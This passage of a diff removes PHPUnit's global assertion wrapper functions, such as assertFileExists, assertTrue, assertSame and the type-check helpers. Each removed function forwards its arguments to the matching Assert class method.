the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringEqualsFileCanonicalizing - */ - function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringEqualsFileCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringEqualsFileIgnoringCase')) { - /** - * Asserts that the contents of a string is equal - * to the contents of a file (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringEqualsFileIgnoringCase - */ - function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringEqualsFileIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFile')) { - /** - * Asserts that the contents of a string is not equal - * to the contents of a file. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotEqualsFile - */ - function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringNotEqualsFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileCanonicalizing')) { - /** - * Asserts that the contents of a string is not equal - * to the contents of a file (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotEqualsFileCanonicalizing - */ - function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringNotEqualsFileCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileIgnoringCase')) { - /** - * Asserts that the contents of a string is not equal - * to the contents of a file (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotEqualsFileIgnoringCase - */ - function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringNotEqualsFileIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsReadable')) { - /** - * Asserts that a file/dir is readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsReadable - */ - function assertIsReadable(string $filename, string $message = ''): void - { - Assert::assertIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotReadable')) { - /** - * Asserts that a file/dir exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotReadable - */ - function assertIsNotReadable(string $filename, string $message = ''): void - { - Assert::assertIsNotReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotIsReadable')) { - /** - * Asserts that a file/dir exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4062 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotIsReadable - */ - function assertNotIsReadable(string $filename, string $message = ''): void - { - Assert::assertNotIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsWritable')) { - /** - * Asserts that a file/dir exists and is writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsWritable - */ - function assertIsWritable(string $filename, string $message = ''): void - { - Assert::assertIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotWritable')) { - /** - * Asserts that a file/dir exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotWritable - */ - function assertIsNotWritable(string $filename, string $message = ''): void - { - Assert::assertIsNotWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotIsWritable')) { - /** - * Asserts that a file/dir exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4065 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotIsWritable - */ - function assertNotIsWritable(string $filename, string $message = ''): void - { - Assert::assertNotIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryExists')) { - /** - * Asserts that a directory exists. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryExists - */ - function assertDirectoryExists(string $directory, string $message = ''): void - { - Assert::assertDirectoryExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryDoesNotExist')) { - /** - * Asserts that a directory does not exist. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryDoesNotExist - */ - function assertDirectoryDoesNotExist(string $directory, string $message = ''): void - { - Assert::assertDirectoryDoesNotExist(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryNotExists')) { - /** - * Asserts that a directory does not exist. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4068 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryNotExists - */ - function assertDirectoryNotExists(string $directory, string $message = ''): void - { - Assert::assertDirectoryNotExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryIsReadable')) { - /** - * Asserts that a directory exists and is readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryIsReadable - */ - function assertDirectoryIsReadable(string $directory, string $message = ''): void - { - Assert::assertDirectoryIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotReadable')) { - /** - * Asserts that a directory exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryIsNotReadable - */ - function assertDirectoryIsNotReadable(string $directory, string $message = ''): void - { - Assert::assertDirectoryIsNotReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryNotIsReadable')) { - /** - * Asserts that a directory exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4071 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryNotIsReadable - */ - function assertDirectoryNotIsReadable(string $directory, string $message = ''): void - { - Assert::assertDirectoryNotIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryIsWritable')) { - /** - * Asserts that a directory exists and is writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryIsWritable - */ - function assertDirectoryIsWritable(string $directory, string $message = ''): void - { - Assert::assertDirectoryIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotWritable')) { - /** - * Asserts that a directory exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryIsNotWritable - */ - function assertDirectoryIsNotWritable(string $directory, string $message = ''): void - { - Assert::assertDirectoryIsNotWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDirectoryNotIsWritable')) { - /** - * Asserts that a directory exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4074 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDirectoryNotIsWritable - */ - function assertDirectoryNotIsWritable(string $directory, string $message = ''): void - { - Assert::assertDirectoryNotIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileExists')) { - /** - * Asserts that a file exists. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileExists - */ - function assertFileExists(string $filename, string $message = ''): void - { - Assert::assertFileExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileDoesNotExist')) { - /** - * Asserts that a file does not exist. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileDoesNotExist - */ - function assertFileDoesNotExist(string $filename, string $message = ''): void - { - Assert::assertFileDoesNotExist(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotExists')) { - /** - * Asserts that a file does not exist. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4077 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotExists - */ - function assertFileNotExists(string $filename, string $message = ''): void - { - Assert::assertFileNotExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileIsReadable')) { - /** - * Asserts that a file exists and is readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileIsReadable - */ - function assertFileIsReadable(string $file, string $message = ''): void - { - Assert::assertFileIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileIsNotReadable')) { - /** - * Asserts that a file exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileIsNotReadable - */ - function assertFileIsNotReadable(string $file, string $message = ''): void - { - Assert::assertFileIsNotReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotIsReadable')) { - /** - * Asserts that a file exists and is not readable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4080 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotIsReadable - */ - function assertFileNotIsReadable(string $file, string $message = ''): void - { - Assert::assertFileNotIsReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileIsWritable')) { - /** - * Asserts that a file exists and is writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileIsWritable - */ - function assertFileIsWritable(string $file, string $message = ''): void - { - Assert::assertFileIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileIsNotWritable')) { - /** - * Asserts that a file exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileIsNotWritable - */ - function assertFileIsNotWritable(string $file, string $message = ''): void - { - Assert::assertFileIsNotWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotIsWritable')) { - /** - * Asserts that a file exists and is not writable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4083 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotIsWritable - */ - function assertFileNotIsWritable(string $file, string $message = ''): void - { - Assert::assertFileNotIsWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertTrue')) { - /** - * Asserts that a condition is true. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert true $condition - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertTrue - */ - function assertTrue($condition, string $message = ''): void - { - Assert::assertTrue(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotTrue')) { - /** - * Asserts that a condition is not true. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !true $condition - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotTrue - */ - function assertNotTrue($condition, string $message = ''): void - { - Assert::assertNotTrue(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFalse')) { - /** - * Asserts that a condition is false. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert false $condition - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFalse - */ - function assertFalse($condition, string $message = ''): void - { - Assert::assertFalse(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotFalse')) { - /** - * Asserts that a condition is not false. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !false $condition - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotFalse - */ - function assertNotFalse($condition, string $message = ''): void - { - Assert::assertNotFalse(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNull')) { - /** - * Asserts that a variable is null. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert null $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNull - */ - function assertNull($actual, string $message = ''): void - { - Assert::assertNull(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotNull')) { - /** - * Asserts that a variable is not null. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !null $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotNull - */ - function assertNotNull($actual, string $message = ''): void - { - Assert::assertNotNull(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFinite')) { - /** - * Asserts that a variable is finite. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFinite - */ - function assertFinite($actual, string $message = ''): void - { - Assert::assertFinite(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertInfinite')) { - /** - * Asserts that a variable is infinite. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertInfinite - */ - function assertInfinite($actual, string $message = ''): void - { - Assert::assertInfinite(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNan')) { - /** - * Asserts that a variable is nan. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNan - */ - function assertNan($actual, string $message = ''): void - { - Assert::assertNan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertClassHasAttribute')) { - /** - * Asserts that a class has a specified attribute. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertClassHasAttribute - */ - function assertClassHasAttribute(string $attributeName, string $className, string $message = ''): void - { - Assert::assertClassHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertClassNotHasAttribute')) { - /** - * Asserts that a class does not have a specified attribute. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertClassNotHasAttribute - */ - function assertClassNotHasAttribute(string $attributeName, string $className, string $message = ''): void - { - Assert::assertClassNotHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertClassHasStaticAttribute')) { - /** - * Asserts that a class has a specified static attribute. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertClassHasStaticAttribute - */ - function assertClassHasStaticAttribute(string $attributeName, string $className, string $message = ''): void - { - Assert::assertClassHasStaticAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertClassNotHasStaticAttribute')) { - /** - * Asserts that a class does not have a specified static attribute. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertClassNotHasStaticAttribute - */ - function assertClassNotHasStaticAttribute(string $attributeName, string $className, string $message = ''): void - { - Assert::assertClassNotHasStaticAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertObjectHasAttribute')) { - /** - * Asserts that an object has a specified attribute. - * - * @param object $object - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertObjectHasAttribute - */ - function assertObjectHasAttribute(string $attributeName, $object, string $message = ''): void - { - Assert::assertObjectHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertObjectNotHasAttribute')) { - /** - * Asserts that an object does not have a specified attribute. - * - * @param object $object - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertObjectNotHasAttribute - */ - function assertObjectNotHasAttribute(string $attributeName, $object, string $message = ''): void - { - Assert::assertObjectNotHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertObjectHasProperty')) { - /** - * Asserts that an object has a specified property. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertObjectHasProperty - */ - function assertObjectHasProperty(string $attributeName, object $object, string $message = ''): void - { - Assert::assertObjectHasProperty(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertObjectNotHasProperty')) { - /** - * Asserts that an object does not have a specified property. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertObjectNotHasProperty - */ - function assertObjectNotHasProperty(string $attributeName, object $object, string $message = ''): void - { - Assert::assertObjectNotHasProperty(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertSame')) { - /** - * Asserts that two variables have the same type and value. - * Used on objects, it asserts that two variables reference - * the same object. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-template ExpectedType - * - * @psalm-param ExpectedType $expected - * - * @psalm-assert =ExpectedType $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertSame - */ - function assertSame($expected, $actual, string $message = ''): void - { - Assert::assertSame(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotSame')) { - /** - * Asserts that two variables do not have the same type and value. - * Used on objects, it asserts that two variables do not reference - * the same object. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotSame - */ - function assertNotSame($expected, $actual, string $message = ''): void - { - Assert::assertNotSame(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertInstanceOf')) { - /** - * Asserts that a variable is of a given type. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @psalm-template ExpectedType of object - * - * @psalm-param class-string $expected - * - * @psalm-assert =ExpectedType $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertInstanceOf - */ - function assertInstanceOf(string $expected, $actual, string $message = ''): void - { - Assert::assertInstanceOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotInstanceOf')) { - /** - * Asserts that a variable is not of a given type. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @psalm-template ExpectedType of object - * - * @psalm-param class-string $expected - * - * @psalm-assert !ExpectedType $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotInstanceOf - */ - function assertNotInstanceOf(string $expected, $actual, string $message = ''): void - { - Assert::assertNotInstanceOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsArray')) { - /** - * Asserts that a variable is of type array. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert array $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsArray - */ - function assertIsArray($actual, string $message = ''): void - { - Assert::assertIsArray(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsBool')) { - /** - * Asserts that a variable is of type bool. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert bool $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsBool - */ - function assertIsBool($actual, string $message = ''): void - { - Assert::assertIsBool(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsFloat')) { - /** - * Asserts that a variable is of type float. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert float $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsFloat - */ - function assertIsFloat($actual, string $message = ''): void - { - Assert::assertIsFloat(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsInt')) { - /** - * Asserts that a variable is of type int. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert int $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsInt - */ - function assertIsInt($actual, string $message = ''): void - { - Assert::assertIsInt(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNumeric')) { - /** - * Asserts that a variable is of type numeric. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert numeric $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNumeric - */ - function assertIsNumeric($actual, string $message = ''): void - { - Assert::assertIsNumeric(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsObject')) { - /** - * Asserts that a variable is of type object. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert object $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsObject - */ - function assertIsObject($actual, string $message = ''): void - { - Assert::assertIsObject(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsResource')) { - /** - * Asserts that a variable is of type resource. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert resource $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsResource - */ - function assertIsResource($actual, string $message = ''): void - { - Assert::assertIsResource(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsClosedResource')) { - /** - * Asserts that a variable is of type resource and is closed. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert resource $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsClosedResource - */ - function assertIsClosedResource($actual, string $message = ''): void - { - Assert::assertIsClosedResource(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsString')) { - /** - * Asserts that a variable is of type string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert string $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsString - */ - function assertIsString($actual, string $message = ''): void - { - Assert::assertIsString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsScalar')) { - /** - * Asserts that a variable is of type scalar. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert scalar $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsScalar - */ - function assertIsScalar($actual, string $message = ''): void - { - Assert::assertIsScalar(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsCallable')) { - /** - * Asserts that a variable is of type callable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert callable $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsCallable - */ - function assertIsCallable($actual, string $message = ''): void - { - Assert::assertIsCallable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsIterable')) { - /** - * Asserts that a variable is of type iterable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert iterable $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsIterable - */ - function assertIsIterable($actual, string $message = ''): void - { - Assert::assertIsIterable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotArray')) { - /** - * Asserts that a variable is not of type array. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !array $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotArray - */ - function assertIsNotArray($actual, string $message = ''): void - { - Assert::assertIsNotArray(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotBool')) { - /** - * Asserts that a variable is not of type bool. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !bool $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotBool - */ - function assertIsNotBool($actual, string $message = ''): void - { - Assert::assertIsNotBool(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotFloat')) { - /** - * Asserts that a variable is not of type float. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !float $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotFloat - */ - function assertIsNotFloat($actual, string $message = ''): void - { - Assert::assertIsNotFloat(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotInt')) { - /** - * Asserts that a variable is not of type int. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !int $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotInt - */ - function assertIsNotInt($actual, string $message = ''): void - { - Assert::assertIsNotInt(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotNumeric')) { - /** - * Asserts that a variable is not of type numeric. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !numeric $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotNumeric - */ - function assertIsNotNumeric($actual, string $message = ''): void - { - Assert::assertIsNotNumeric(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotObject')) { - /** - * Asserts that a variable is not of type object. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !object $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotObject - */ - function assertIsNotObject($actual, string $message = ''): void - { - Assert::assertIsNotObject(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotResource')) { - /** - * Asserts that a variable is not of type resource. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !resource $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotResource - */ - function assertIsNotResource($actual, string $message = ''): void - { - Assert::assertIsNotResource(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotClosedResource')) { - /** - * Asserts that a variable is not of type resource. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !resource $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotClosedResource - */ - function assertIsNotClosedResource($actual, string $message = ''): void - { - Assert::assertIsNotClosedResource(...func_get_args()); - } -} - -if 